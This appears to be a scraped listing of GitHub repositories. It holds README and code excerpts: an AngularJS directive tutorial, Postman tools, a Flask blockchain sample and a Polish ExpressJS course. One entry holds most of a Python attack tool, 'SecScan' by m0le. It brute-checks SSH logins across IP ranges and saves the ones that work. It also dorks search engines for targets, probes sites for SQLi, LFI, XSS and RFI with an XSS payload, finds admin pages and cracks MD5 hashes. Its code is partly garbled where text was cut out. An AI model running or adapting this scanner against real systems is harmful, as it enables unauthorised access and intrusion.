function in your controller. The actualy function call inside the directive will look like this. $scope.passFunc({data: wantedData}) So what you'll do is pass in an object where the property name is what the argument is named in the HTML where you call the directive. That might sound confusing, but just look at the two code blocks above for a pattern. Note that pass-func becomes $scope.passFunc and data is being replaced with wantedData with the {data: wantedData} object. In our directive we want to replace city in the attribute call, for something else inside the directive. You'll follow the same pattern as above. For now let's get things set up for that function call. Add to the dirWeather directive object a property called controller. It's value will be a function. Yes, this is a controller specifically for your one directive. It works the same as any other controller, except you don't give it a name. It's $scope object will only be accessible within an instance of your directive. Don't forget to inject $scope in the function. Inside your controller function run the weatherCall function with the city property from the currentUser on your $scope. Here's where you need to make sure you've passed in a city argument in the attribute function call, and then replace that with your currentUser's city using an object with a city property. The function call should return a promise, so call .then afterward and add the data onto your $scope to display both the weather and temperature of the currentUser's city. The properties can be named whatever makes sense to you. You may also want to find a way to get rid of all the decimal places on your temperature. Now you should have everything hooked up so it shows Geoff's data and the weather data for Provo. But is that good enough? Step 6. Ramping up our ramp up. Now let's change this so it shows the weather data for whichever user we select. We're going to need to use '&' again. Make a function on the home controller that takes in a parameter and sets a property on the $scope to be that parameter. Maybe you see where this is going. We want to get this function into our dirDisplay controller. But in order to do that we need to isolate dirDisplay's scope. This also means we need to pass in each individual user through the scope object as well. To make it easier on ourselves, let's pass the current user from our ng-repeat into our directive through a user attribute. This way we can leave our two-way bindings as they are. Also pass our new function that sets our current user from our home controller into our directive through a setUser attribute. You'll need to add an argument in there again. Go with user. Your scope object in dirDisplay should have two properties. setUser with the value of '&' and user with the value of '='. As before we're going to need to do some tricky stuff to get our argument back to our controller. Call the setUser function inside our click event listener and pass in an object the sets our user argument to be the user on our directive's scope object. If you've forgotten this part go back up and take a look at how you did it before or the example in this README. Whatever user you click on now should show up in the dirWeather directive as the current user. But we're missing one thing, we want to be able to see the weather for that user too. We'll have to do one more thing that will seem a little bit tricky at first, but it's good to learn if you don't know it already since it's actually used quite frequently. We need to step up a change listener on our currentUser in the dirWeather directive. We'll use angular's $watch functionality. $watch is a method on your $scope that will watch for changes in a variable you give it. It works in two ways. $scope.$watch('property', function(value){ console.log("When $scope.property changes its new value is: ", value) }); And $scope.$watch(function(){ return myVar }, function(value){ console.log("When myVar changes its new value is: ", value); }); Remove the immediate function call that we have in there now. Maybe just comment it out for now because we'll use it in a bit. Now call the $watch method on your scope and have it watch currentUser. Either way of using $watch is fine. Have its callback run the $scope.weatherCall function just like you had it before. One thing to note is that $scope.$watch will always run once to begin with. Since that's what we want here it's great, but just be aware of that. If you've reached this point congratulate yourself. You've messed with some serious stuff today, namely directives. There are still a lot of things about directives that we can't possibly cover in a single project. If you like what we've done so far then you're in a good place to keep going. A developer who understands directives well can build a really clean looking code base. Just look at your home.html. It could have just two lines in it. If you're feeling good move on now to Step 7. Step 7. Finishing touches Try to work out these problems on your own. There should be a way to let the user know that the weather data is loading. Something that appears while our $http request is retrieving our data. The $http request shouldn't fire on both opening and closing a user's information. A color change for the currently active user would be nicer than showing that user's info inside the dirWeather modal. Or at least less redundant. Whatever else you want. We still haven't explored transclusion and ng-transclude so give that a try if you're feeling adventurous. Just know that it's a way for deciding where to put the HTML child elements of a directive. It's cool stuff that can involve some criss-crossing of scopes. | 0 stars | 0 watchers | 14 forks |
alioygur/postman2html collection, file, generating, html, postman collection, rating |
generating html file from a postman collection file | 4 stars | 4 watchers | 3 forks |
udinparla/aa.py address, admin, api blueprint, asyncapi, automat, automatic, automatically, class, correct, crawler, creation, data, file, find, free, google, header, host, html, http, import, json schema, link, list, location, mail, oauth, openid, output, pages, print, python, random, reading, result, route, router, running, search, seek, send, sends, site, source, sql, task, test, user |
#!/usr/bin/env python import re import hashlib import Queue from random import choice import threading import time import urllib2 import sys import socket try: import paramiko PARAMIKO_IMPORTED = True except ImportError: PARAMIKO_IMPORTED = False USER_AGENT = ["Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3", "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7", "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)", "YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)", "Mozilla/5.0 (Windows; U; Windows NT 5.1) AppleWebKit/535.38.6 (KHTML, like Gecko) Version/5.1 Safari/535.38.6", "Mozilla/5.0 (Macintosh; U; U; PPC Mac OS X 10_6_7 rv:6.0; en-US) AppleWebKit/532.23.3 (KHTML, like Gecko) Version/4.0.2 Safari/532.23.3" ] option = ' ' vuln = 0 invuln = 0 np = 0 found = [] class Router(threading.Thread): """Checks for routers running ssh with given User/Pass""" def __init__(self, queue, user, passw): if not PARAMIKO_IMPORTED: print 'You need paramiko.' print 'http://www.lag.net/paramiko/' sys.exit(1) threading.Thread.__init__(self) self.queue = queue self.user = user self.passw = passw def run(self): """Tries to connect to given Ip on port 22""" ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) while True: try: ip_add = self.queue.get(False) except Queue.Empty: break try: ssh.connect(ip_add, username = self.user, password = self.passw, timeout = 10) ssh.close() print "Working: %s:22 - %s:%s\n" % (ip_add, self.user, self.passw) write = open('Routers.txt', "a+") write.write('%s:22 %s:%s\n' % (ip_add, self.user, self.passw)) write.close() self.queue.task_done() except: print 'Not Working: %s:22 - %s:%s\n' % (ip_add, self.user, self.passw) self.queue.task_done() class Ip: """Handles the Ip range creation""" def __init__(self): self.ip_range = [] self.start_ip = raw_input('Start ip: ') self.end_ip = raw_input('End ip: ') self.user = raw_input('User: ') self.passw = raw_input('Password: ') self.iprange() def iprange(self): """Creates list of Ip's from Start_Ip to End_Ip""" queue = Queue.Queue() start = list(map(int, self.start_ip.split("."))) end = list(map(int, self.end_ip.split("."))) tmp = start self.ip_range.append(self.start_ip) while tmp != end: start[3] += 1 for i in (3, 2, 1): if tmp[i] == 256: tmp[i] = 0 tmp[i-1] += 1 self.ip_range.append(".".join(map(str, tmp))) for add in self.ip_range: queue.put(add) for i in range(10): thread = Router(queue, self.user, self.passw ) thread.setDaemon(True) thread.start() queue.join() class Crawl: """Searches for dorks and grabs results""" def __init__(self): if option == '4': self.shell = str(raw_input('Shell location: ')) self.dork = raw_input('Enter your dork: ') self.queue = Queue.Queue() self.pages = raw_input('How many pages(Max 20): ') self.qdork = urllib2.quote(self.dork) self.page = 1 self.crawler() def crawler(self): """Crawls Ask.com for sites and sends them to appropriate scan""" print '\nDorking...' for i in range(int(self.pages)): host = "http://uk.ask.com/web?q=%s&page=%s" % (str(self.qdork), self.page) req = urllib2.Request(host) req.add_header('User-Agent', choice(USER_AGENT)) response = urllib2.urlopen(req) source = response.read() start = 0 count = 1 end = len(source) numlinks = source.count('_t" href', start, end) while count alert('xssBYm0le');""" self.file = 'xss.txt' def run(self): """Checks Url for possible Xss""" while True: try: site = self.queue.get(False) except Queue.Empty: break if '=' in site: global vuln global invuln global np xsite = site.rsplit('=', 1)[0] if xsite[-1] != "=": xsite = xsite + "=" test = xsite + self.xchar try: conn = urllib2.Request(test) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() data = opener.open(conn).read() except: self.queue.task_done() else: if (re.findall("xssBYm0le", data, re.I)): self.xss(test) vuln += 1 else: print B+test + W+' > ' + str(vuln) + G+' Vulnerable Sites Found' + W print '>> ' + str(invuln) + G+' Sites Not Vulnerable' + W print '>> ' + str(np) + R+' Sites Without Parameters' + W if option == '1': print '>> Output Saved To sqli.txt\n' elif option == '2': print '>> Output Saved To lfi.txt' elif option == '3': print '>> Output Saved To xss.txt' elif option == '4': print '>> Output Saved To rfi.txt' W = "\033[0m"; R = "\033[31m"; G = "\033[32m"; O = "\033[33m"; B = "\033[34m"; def main(): """Outputs Menu and gets input""" quotes = [ '\[email protected]\n' ] print (O+''' ------------- -- SecScan -- --- v1.5 ---- ---- by ----- --- m0le ---- -------------''') print (G+''' -[1]- SQLi -[2]- LFI -[3]- XSS -[4]- RFI -[5]- Proxy -[6]- Admin Page Finder -[7]- Sub Domain Scan -[8]- Dictionary MD5 cracker -[9]- Online MD5 cracker -[10]- Check your IP address''') print (B+''' -[!]- If freeze while running or want to quit, just Ctrl C, it will automatically terminate the job. ''') print W global option option = raw_input('Enter Option: ') if option: if option == '1': Crawl() output() print choice(quotes) elif option == '2': Crawl() output() print choice(quotes) elif option == '3': Crawl() output() print choice(quotes) elif option == '4': Crawl() output() print choice(quotes) elif option == '5': Ip() print choice(quotes) elif option == '6': admin() aprint() print choice(quotes) elif option == '7': subd() print choice(quotes) elif option == '8': word() print choice(quotes) elif option == '9': OnlineCrack().crack() print choice(quotes) elif option == '10': Check().grab() print choice(quotes) else: print R+'\nInvalid Choice\n' + W time.sleep(0.9) main() else: print R+'\nYou Must Enter An Option (Check if your typo is corrected.)\n' + W time.sleep(0.9) main() if __name__ == '__main__': main() | 4 stars | 4 watchers | 0 forks |
thedevsaddam/docgen-bin collection, devs, document, documentation, form, html, postman collection |
Transform your postman collection to html documentation | 0 stars | 0 watchers | 3 forks |
daggerok/gradle-postman-example collection, example, function, functional, gradle, html, newman, package, postman collection, report, reports, single, test, tests |
This repository contains example how to execute postman collection tests using gradle (newman npm package). Add functionality to collect all html reports into single one | 1 stars | 1 watchers | 0 forks |
most-007/task-managment document, email, file, html, link, mail, rest, task |
Cakephp app for task management and rest API to get all links in a given html document URL , and API to sent PDF file using postman to a given email | 1 stars | 1 watchers | 0 forks |
turinblueice/interface_web_postman html, interface |
将postman功能进行web化的接口测试框架,实现接口的录制和回放,支持接口的自定义验证规则,支持批量运行接口,支持多线程执行多个接口的请求,支持html的web报表 | 1 stars | 1 watchers | 0 forks |
ddemott/spring-restful-web-services-crud-example crud, example, function, functions, html, index, java, projects, rest, restful, service, services, spring, test, tested, to do |
DESCRIPTION: This project represents a base Spring 4 legacy project for Spring MVC / REST services. The REST services are handled / tested by index.html. This is done so you can see an example of how to call all of the CRUD functions from a web page. Most projects do not make the calls from a web page but from POSTMAN or even from a test function which does you no good if you are trying to figure out how to do call from a webpage. Dependencies ------------ Maven 3.1 Java 8 Spring 4 Spring MVC 4 Jackson Databind javax.servlet-api 3.1 | 0 stars | 0 watchers | 1 forks |
MasonChambers/Regression-Testing-Postman form, format, formatted, html, newman, output, regression, test, testing |
regression testing for postman with newman and formatted html output | 0 stars | 0 watchers | 0 forks |
anjalee-narenthiren/PointcloudBug access, cloud, file, html, index, variable |
Run the index.html file. You will have to use postman to get an access key and update the accessToken variable on line 33 of main.js. | 0 stars | 0 watchers | 0 forks |
crisplaver/postman-document-generator collection, document, file, generate, generator, html, json |
generate postman html page using collection v2.1 json file | 0 stars | 0 watchers | 0 forks |
Ghop11/postmanAutomationAnimalFacts animal, automat, automation, docs, endpoint, endpoints, facts, github, html, http, https |
API automation for animal facts. https://alexwohlbruck.github.io/cat-facts/docs/endpoints/facts.html | 0 stars | 0 watchers | 0 forks |
gtardivo/API-GITLAB-POSTMAN docs, gitlab, html, http, https |
Usando API – GitLab – com o Postman (fonte:https://docs.gitlab.com/ee/api/README.html): | 0 stars | 0 watchers | 0 forks |
Gyanachand1/Blockchain action, chai, check, class, datetime, dump, endpoint, example, flask, form, function, github, host, html, http, https, import, index, install, installed, json, link, local, method, operation, previous, proof, proxy, query, send, server, server., sets, sort, user |
# Module 1 - Create a Blockchain # To be installed: # Flask==0.12.2: pip install Flask==0.12.2 # Postman HTTP Client: https://www.getpostman.com/ # Importing the libraries import datetime import hashlib import json from flask import Flask, jsonify # Part 1 - Building a Blockchain class Blockchain: def __init__(self): self.chain = [] self.create_block(proof = 1, previous_hash = '0') def create_block(self, proof, previous_hash): block = {'index': len(self.chain) + 1, 'timestamp': str(datetime.datetime.now()), 'proof': proof, 'previous_hash': previous_hash} self.chain.append(block) return block def get_previous_block(self): return self.chain[-1] def proof_of_work(self, previous_proof): new_proof = 1 check_proof = False while check_proof is False: hash_operation = hashlib.sha256(str(new_proof**2 - previous_proof**2).encode()).hexdigest() if hash_operation[:4] == '0000': check_proof = True else: new_proof += 1 return new_proof def hash(self, block): encoded_block = json.dumps(block, sort_keys = True).encode() return hashlib.sha256(encoded_block).hexdigest() def is_chain_valid(self, chain): previous_block = chain[0] block_index = 1 while block_index posiada atrybuty takie jak action oraz method. Atrybut action pozwala określić, gdzie wysłać dane z formularza w momencie, gdy zostanie on zatwierdzony. W naszym przypadku będzie to http://localhost:3000/userform. Atrybut method określa metodę, jakiej chcemy użyć - w naszym przypadku niech będzie to GET. Przykładowo, Twój index.html może wyglądać tak: Node Hello world example First Name: Last Name: Gdy już będzie gotowy, wrzuć go do katalogu /assets. Teraz czas na modyfikację pliku server.js. Najpierw zmieńmy to, co chcemy wysyłać, gdy zostanie wysłane żądanie do strony domowej. Zamień więc res.send('Hello world') na res.sendFile('/index.html') - jak się zapewne domyślasz, res.sendFile() wysyła w odpowiedzi plik zamiast wiadomości. Musimy również dodać obsługę żądania na endpoint, do którego będziemy kierować nasz formularz. app.get('/userform', function (req, res) { const response = { first_name: req.query.first_name, last_name: req.query.last_name }; res.end(JSON.stringify(response)); }); W czasie przetwarzania żądania, tworzymy nowy obiekt response, który ma klucze first_name oraz last_name. Do poszczególnych właściwości przypisujemy dane, które otrzymujemy w obiekcie req (od ang. request), czyli w obiekcie z żądaniem. Na koniec wyświetlamy nasz obiekt przetworzony na typ string za pomocą metody JSON.stringify. Po zapisaniu pliku server.js, aplikacja powinna pokazywać formularz, jak poniżej. Po wpisaniu wartości do inputów i wysłaniu ich, powinieneś zostać przekierowany do strony /userform, a po znaku zapytania powinny zostać wyświetlone parametry umieszczone przez Ciebie w inputach. Zadanie: Żonglujemy danymi pomiędzy endpointami Napisz kod obsługujący formularz zgodnie z wskazówkami z tego submodułu, a następnie wyślij swój kod na repozytorium oraz przekaż go do sprawdzenia mentorowi. Podgląd zadania https://github.com/martinproxy0/Zadanie_17_4.git Wyslij link 17.5. Middleware - pośrednik między żądaniem a odpowiedzią | 0 stars | 0 watchers | 0 forks |
hatoriz/selflearning_postman html, http, https, learn, learning, tutorial |
https://www.guru99.com/postman-tutorial.html | 0 stars | 0 watchers | 0 forks |
iamhanao/fake_postman fake, html |
html+js实现postman | 0 stars | 0 watchers | 0 forks |
ivantw08/PostmanAutoDocument document, file, generate, html |
This project allow you to auto generate html file for document | 0 stars | 0 watchers | 0 forks |
martinproxy0/Zadanie_17_5 action, address, application, auth, automat, console, data, dependencies, developer, dynamic, ekspresowe, endpoint, error, example, express, file, folder, form, format, framework, function, github, host, html, http, https, index, install, intern, internal, jest, json, kazan, lang, link, list, listen, local, meta, method, middleware, model, module, modules, node, note, package, parse, parser, party, popular, problem, program, proxy, query, rake, require, role, route, routing, send, server, server., sets, source, stat, status, submit, system, test, type, updated, user, wars |
17. ExpressJS - ekspresowe tworzenie aplikacji w NodeJS Wyzwania: Dowiesz się czym jest ExpressJS Nauczysz się korzystać z routingu Poznasz czym są szablony 17.1. Wprowadzenie do Expressa Express jest jednym z najpopularniejszych frameworków dla aplikacji pisanych w Node.js. Jest bardzo lekki i pozwala na lepszą organizację aplikacji w modelu MVC. Ok, zwolnijmy. Już na samym starcie pojawiły się dwa pojęcia, których do tej pory nie omówiliśmy zbyt dokładnie: framework i MVC. Na początku przypomnijmy sobie czym jest framework. Czym są frameworki? Framework to swego rodzaju szkielet, na którym opieramy budowę naszej aplikacji. Jest pewnym poziomem abstrakcji, na której konstruujemy naszą aplikację. Czym jest abstrakcja? Abstrakcja w inżynierii oprogramowania to technika, dzięki której jesteśmy w stanie zapanować nad złożonością systemu. Najzwyczajniej w świecie nie da się myśleć na wielu płaszczyznach na raz, dlatego programiści dzielą problemy na pewne poziomy i to na nich rozwiązują mniejsze problemy. Przykładowo - programista korzystający z Reacta nie martwi się o niższy poziom abstrakcji, z którego nieświadomie korzysta używając Reacta. Korzystając z komputera także nie zastanawiamy się za bardzo co dzieje się w środku procesora czy też w jaki sposób jest skonstruowany. Tym poziomem abstrakcji po prostu nie zawracamy sobie głowy. Używając JavaScriptu nie myślimy w jaki sposób parser analizuje składnię języka. Jeśli nie jest to nam potrzebne, to możemy zająć się tym, co jest dla nas naprawdę istotne - pisaniem aplikacji internetowych! Express to właśnie kolejny, wyższy poziom abstrakcji, dzięki któremu możemy skupić się na właściwym problemie. Zawiera zbiór generycznych (możliwych do zastosowania w wielu miejscach / uniwersalnych) funkcjonalności, które powtarzają się w obrębie każdej aplikacji. Cały zamysł frameworka opiera się na zasadzie - nie wymyślaj koła na nowo, bo można budować na podstawie dobrych, uniwersalnych rozwiązań. Po wykonaniu tego samego zadania wiele razy, człowiek instynktownie szuka sposobu na automatyzację problemu - szczególnie leniwy programista. :) Framework ma niestety jedną wadę, która bywa momentami również zaletą - narzuca programiście sposób w jaki należy rozwiązać problem. Takie podejście z jednej strony nieco nas ogranicza, bo nie pozwala nam 'grzebać' w rozwiązaniu, a z drugiej strony zmniejsza ilość miejsc, w których moglibyśmy popełnić jakiś błąd. Zaletą takiego podejścia jest też to, że programiści korzystający z frameworków często borykają się z podobnymi problemami, przez co łatwo jest znaleźć rozwiązania, bo ktoś już na pewno zetknął się z czymś, co sprawia nam kłopot :) Wracając do Expressa - jest on niewielkim frameworkiem, który daje programiście przyjemną podstawkę do tworzenia aplikacji, ale nie narzuca żadnych praktyk - może o tym świadczyć chociażby fakt, że wiele znanych frameworków opiera swoją budowę na Express. Można do nich zaliczyć przykładowo Loopbacka, Sailsa czy Krakena. Model-View-Controller Ok, wiemy już czym jest framework - pora na pojęcie MVC :) Jest to skrót od ang. Model View Controller (Model Widok Kontroler). Jest jednym z najczęściej przewijających się wzorców architektonicznych w internecie. Popularnością pomału wypiera go architektura Flux, o której coraz częściej słychać (szczególnie w środowisku Reacta), ale o tym wzorcu powiemy sobie jeszcze przy okazji omawiania Reduxa - wróćmy do MVC. Głównym założeniem przyjętym podczas projektowania MVC było oddzielenie warstwy prezentacji od logiki biznesowej aplikacji. To podejście umożliwia tworzenie narzędzi działających bez graficznego interfejsu (zastępuje go wtedy tzw. Command Line Interface, a.k.a. CLI) i jest dalej popularne w środowisku Unixowym. Tak więc: Model jest reprezentacją logiki aplikacji / problemu z jakim się zmagamy / domeną. Widok opisuje w jaki sposób coś wyświetlić. W React są to komponenty (szczególnie te prezentacyjne). Kontroler przyjmuje dane od użytkownika aplikacji i reaguje na jego działania w obrębie widoku. Aktualizuje widok i model aplikacji. O samej architekturze można napisać osobny moduł tym bardziej, że jak już wcześniej wspomnieliśmy bardzo często przewija się on w środowisku front-end developerów i jest częścią składową wielu frameworków. Sama implementacja MVC wymaga wiedzy na temat programowania obiektowego i wzorców projektowych. Zainteresowanych zapraszam do przeczytania tej książki na temat wzorców projektowych stosowanych w JavaScripcie. Express dostarcza wielu funkcjonalności do tworzenia aplikacji webowych. Jak już wspomniałem, ułatwia on przede wszystkim szybki rozwój aplikacji opartych na Node.js. Podstawowymi cechami tego frameworka są: serwowanie plików statycznych za pomocą jednej komendy konfigurowanie middleware, czyli pośrednika między żądaniem a odpowiedzią w momencie, kiedy użytkownik wykonuje jakieś akcje, np. wysyła formularz, middleware może wykonać pewne czynności zanim dane zostaną zapisane. Nie sprowadza się to oczywiście tylko do zapisu danych, ale szerzej na temat tego zagadnienia powiemy sobie w dalszym rozdziale definiowanie tablicy routingu, czyli ścieżek (adresów), które wyświetlają odpowiednie treści, przyjmują i zapisują dane, bądź odpytane o dane zwracają je. Bazują na protokole HTTP oraz URI (ang. Uniform Resource Identifier) pozwala na dynamiczne tworzenie stron HTML bazujących na argumentach przekazanych do istniejących szablonów Nie przejmuj się, jeśli powyższe opisy wydają się być nieco zagmatwane. Kolejne rozdziały rozjaśnią sprawę! Zanim jednak przejdziemy do omawiania poszczególnych funkcjonalności Expressa, przeprowadzimy proces instalacji. Jeśli masz wątpliwości do powyższego materiału, to - zanim zatwierdzisz - zapytaj na czacie :) Zapoznałe(a)m się! 17.2. Instalacja ExpressJS Framework Express instalujemy używając npm, analogicznie do innych pakietów, które dodawaliśmy już we wcześniejszych modułach. Dla przypomnienia, wystarczy, że zainicjujesz swój projekt - npm init, a następnie użyjesz komendy npm install express --save, która zapisze zainstalowany pakiet w katalogu node_modules/ i doda go do sekcji dependencies w pliku package.json. Razem z Expressem należy zainstalować jeszcze jeden ważny moduł - body-parser, który jest pakietem pozwalającym na obsługę różnych formatów danych w middleware takich jak JSON, text czy tzw. surowe dane (ang. raw data). Aby go zainstalować, wpisz npm install body-parser --save. Pierwsza aplikacja w ExpressJS Sprawdźmy teraz, czy wszystko działa tak jak powinno. Testowa aplikacja, jaką stworzymy przy użyciu Expressa, będzie przedstawiała podstawową zasadę działania tego frameworka. Aplikacja uruchomi serwer oraz będzie nasłuchiwać na porcie 3000 w oczekiwaniu na połączenie - dokładnie w taki sam sposób, jak w przypadku serwera HTTP napisanego w “czystym" Node.js. Nasłuchiwanie oznacza nic innego jak oczekiwanie na połączenie - po wystąpieniu żądania, serwer odpowie nam klasycznym “Hello world". Zanim zaczniemy tworzyć aplikację, musimy wytłumaczyć sobie pewne pojęcia. Opis pojęcia routingu Routing to sposób określania jak aplikacja będzie odpowiadać na żądania klienta na dane endpointy przy użyciu konkretnych metod HTTP. Przypomnijmy sobie w jaki sposób wyglądały metody HTTP: GET - najprostsza z metod HTTP - służy do pobierania zasobów z serwera. Pobranymi zasobami mogą być np. pliki HTML, CSS, JavaScript czy obiekty JSON / XML. POST - ta metoda jest używana do wysyłania danych do serwera. Stosuje się ją np. przy formularzach lub przy wstawianiu zdjęć i wysyłaniu ich jako załącznik. Zwykle dane te wysyłane są jako para klucz-wartość. PUT - działa podobnie jak POST, czyli również służy do wysyłania danych. Różnicą jest ograniczenie do wysłania tylko jednej porcji danych - np. jednego pola. Metoda ta najczęściej używana jest do aktualizacji istniejących danych DELETE - metoda, która służy do usuwania danych z serwera. Chodzi oczywiście o dane, które zostały wskazane przy wysyłaniu żądania. Kolejnym pojęciem jest URI (nazywane również PATH) - jest to właśnie wspomniany wcześniej endpoint, który zawiera polecenia do wykonania gdy zostanie wywołany przez żądanie. Czas start! Na początek stwórzmy plik server.js w katalogu z projektem. Po zainstalowaniu powyższych zależności, drzewo projektu powinno wyglądać w następujący sposób: Aby mieć możliwość skorzystania z zainstalowanych zależności, na początku należy zadeklarować zmienną, w której będziemy przechowywać funkcjonalności pakietu Expressa. var express = require('express'); Jak widzisz, każda paczka JS'a działa dokładnie w taki sam sposób. Koncepcja modułów będzie przewijać się aż do końca tego kursu. Następnym krokiem będzie stworzenie aplikacji Express: var app = express(); Naszą aplikację przypisaliśmy do zmiennej app. Teraz możemy sprawić, aby odpowiadała prostym Hello world w momencie, w którym odbierzemy wysłane zapytanie GET na adres strony domowej: app.get('/', function(req, res) { res.send('Hello world'); }); Powyższy kod rejestruje pierwszy routing (proces przetwarzania otrzymanego adresu żądania i na jego podstawie decydowanie, co powinno zostać uruchomione) na wysłane żądanie GET po wejściu na stronę główną ( http://localhost:3000/ ). Jako callback na wystąpienie tego zdarzenia wywoływana jest funkcja, która w przypadku udanej odpowiedzi wyśle wiadomość Hello world. To jednak jeszcze nie koniec. Zarejestrowaliśmy obsługę pierwszego routingu, ale należy zainicjować nasłuchiwanie serwera na to i inne zdarzenia. Dopiszmy więc: var server = app.listen(3000, function() { console.log('Przykładowa aplikacja nasłuchuje na http://localhost:3000'); }); Po zapisaniu powyższego kodu, należy uruchomić go komendą node server.js (lub za pomocą Nodemona, którego poznaliśmy w pierwszym module) - teraz po ponownym wejściu na adres http://localhost:3000/ powinniśmy zobaczyć następujący widok: Jest to znak, że nasza aplikacja działa! Jeśli masz wątpliwości do powyższego materiału, to - zanim zatwierdzisz - zapytaj na czacie :) Zapoznałe(a)m się! 17.3. Route, czyli ścieżka wyznaczona dla użytkownika aplikacji Wykorzystanie endpointów Rozwińmy teraz trochę aplikację stworzoną w poprzednim podrozdziale. Aktualnie kod w pliku server.js wygląda następująco: var express = require('express'); var app = express(); app.get('/', function (req, res) { res.send('Hello world'); }); var server = app.listen(3000, function() { console.log('Przykładowa aplikacja nasłuchuje na http://localhost:3000'); }); Endpointy statyczne Na początek zmodyfikujemy lekko żądanie GET i do strony głównej zamiast Hello world! wpiszmy Hello GET! oraz dodamy linijkę drukującą otrzymane żądanie (po stronie serwera) jak poniżej: app.get('/', function (req, res) { console.log('Otrzymałem żądanie GET do strony głównej'); res.send('Hello GET!'); }); Warto w tym miejscu wspomnieć o narzędziu Postman - możesz pobrać je ze strony https://www.getpostman.com/. Używa się go do testowania endpointów. Postman jest prosty i intuicyjny w obsłudze - wystarczy, że podasz adres oraz metodę HTTP, jakiej chcesz użyć w odpowiednich polach i… już :) Pozostaje tylko wysłanie requesta i sprawdzenie czy response zgadza się z naszymi oczekiwaniami. Dodajmy też inne metody HTTP do naszej aplikacji. Zacznijmy od POST. Dla tej i kolejnej metody wykonamy podobne operacje. Chodzi tutaj o to, aby zaobserwować działanie zarejestrowanych endpointów. app.post('/', function (req, res) { console.log('Otrzymałem żądanie POST do strony głównej'); res.send('Hello POST!'); }); Do tego czasu oba nasze zapytania kierowaliśmy do strony domowej. Dodajmy teraz obsługę żądania z metodą DELETE oraz inną ścieżką: app.delete('/del_user', function (req, res) { console.log('Otrzymałem żądanie DELETE do strony /del_user'); res.send('Hello DELETE!'); }); DLA CHĘTNYCH: Przetestuj powyższe zapytanie w Postmanie! :) Dla praktyki, dodajmy jeszcze kilka innych endpointów, a następnie przejdźmy do testowania. app.get('/list_user', function (req, res) { console.log('Otrzymałem żądanie GET do strony /list_user'); res.send('Strona z listą użytkowników!'); }); app.get('/ab*cd', function(req, res) { console.log('Otrzymałem żądanie GET do strony /ab*cd'); res.send('Wzór pasuje'); }); Po dodaniu powyższych fragmentów kodu zapisz plik server.js, a następnie ponownie użyj komendy node server.js chyba, że używasz Nodemona :) Zerknijmy na endpoint /list_user Otrzymaliśmy to, czego oczekiwaliśmy. Sprawdźmy jeszcze inne. Jeśli jednak użyliśmy endpointa, którego nie zdefiniowaliśmy, otrzymamy odpowiedź jak na ostatnim obrazku. Endpointy dynamiczne Istnieje również inny typ endpointów, które nazywa się dynamicznymi. Używanie ich pozwala na przekazywanie parametrów i bazowanie na nich. Wróćmy na moment do kodu stworzonego na samym początku: var express = require('express'); var app = express(); app.get('/', function (req, res) { res.send('Hello world'); }); var server = app.listen(3000, function() { console.log('Przykładowa aplikacja nasłuchuje na http://localhost:3000'); }); Najpierw zmodyfikujemy trochę bazowy kod. Usuńmy linijki 8-10, które miały nam tylko pokazać podstawowe informacje na temat serwera. Zamiast tego napiszmy po prostu: app.listen(3000); Tworzenie dynamicznego routingu pozwala na przekazywanie parametrów, więc spróbujmy najpierw z przykładowym id. Zamiast odwołać się do strony domowej ('/'), odwołajmy się do zmiennego parametru id. Parametr zmienny od statycznego rozróżnia się poprzez dodanie dwukropka (:) przed nazwę. W naszym przykładzie endpoint będzie więc wyglądał następująco: /:id Zmieńmy jeszcze odpowiedź z Hello world na 'Identyfikator, który został dopisany to ' + req.params.id. Czym jest req.params.id? req jest obiektem reprezentującym zapytanie HTTP (ang. request). Posiada on różne parametry, jak na przykład body (czyli ciało zapytania), nagłówki HTTP oraz parametry (params), które mamy zamiar odczytać. Parametr, który wstawiliśmy jako część adresu w metodzie GET, przekazujemy jako id. W poniższym przypadku wyświetli się komunikat Identyfikator który został dopisany to 123, o ile zapytanie wysłano na adres http://localhost:3000/123. Popróbuj z różnymi innymi parametrami i sprawdź czy aplikacja działa tak, jak tego oczekujesz. Obsługa błędu 404 za pomocą ExpressJS Co jeśli serwer nie rozpozna żądania? W Expressie odpowiedź 404 nie jest wynikiem błędu, więc nie jest wyłapywany w trakcie działania aplikacji. Spowodowane jest to tym, że 404 zwykle oznacza brak możliwości wykonania danej czynności, a nie błąd występujący z powodu jakiejś 'wpadki' programisty. Innymi słowy, Express wykonał wszystkie funkcje middleware (które poznamy w kolejnym rozdziale) oraz route'y i dopiero wtedy dowiedział się, że żaden z nich nie odpowiedział na żądanie - taki przypadek możemy obsłużyć poprzez dodanie funkcji middleware na samym końcu (poniżej pozostałych funkcji), aby obsługiwała status 404. Powróćmy znów do poprzedniego szablonu z metodą GET na stronę domową ('/'), która zwraca nam Hello world!. Dopiszmy teraz metodę middleware, która obsłuży nam błąd 404. Na samym końcu, poniżej fragmentu z nasłuchiwaniem dodajmy obsługę odpowiedzi 404: app.use(function (req, res, next) { res.status(404).send('Wybacz, nie mogliśmy odnaleźć tego, czego żądasz!') }); Po ponownym uruchomieniu skryptu, w przeglądarce powinieneś zobaczyć Hello world!. Spróbuj teraz dopisać coś na koniec adresu (tak jak w poprzednim rozdziale dopisaliśmy id). Powinieneś otrzymać następujący komunikat: Parametr next, który przekazujemy do funkcji jest funkcją, która pozwala “iść dalej" do kolejnej funkcji middleware lub zakończenia żądania. Można w ten sposób stworzyć także obsługę pozostałych błędów. Najczęściej obsługiwane błędy to: 400 - bad request - występuje gdy serwer nie może przetworzyć zapytania 401 - unauthorized - występuje gdy wymagane jest uwierzytelnienie, a nie zostało dostarczone 403 - forbidden - żądanie jest poprawne, jednak serwer odmawia odpowiedzi, może to wystąpić w przypadku gdy np. użytkownik jest zalogowany ale nie ma uprawnień do wykonania żądania 404 - not found - zasoby nie zostały znalezione 500 - internal server error - występuje gdy występują nieznane warunki i nie ma żadnej konkretnej wiadomości Zadanie: Operacje CRUD na pliku JSON Stwórzmy teraz 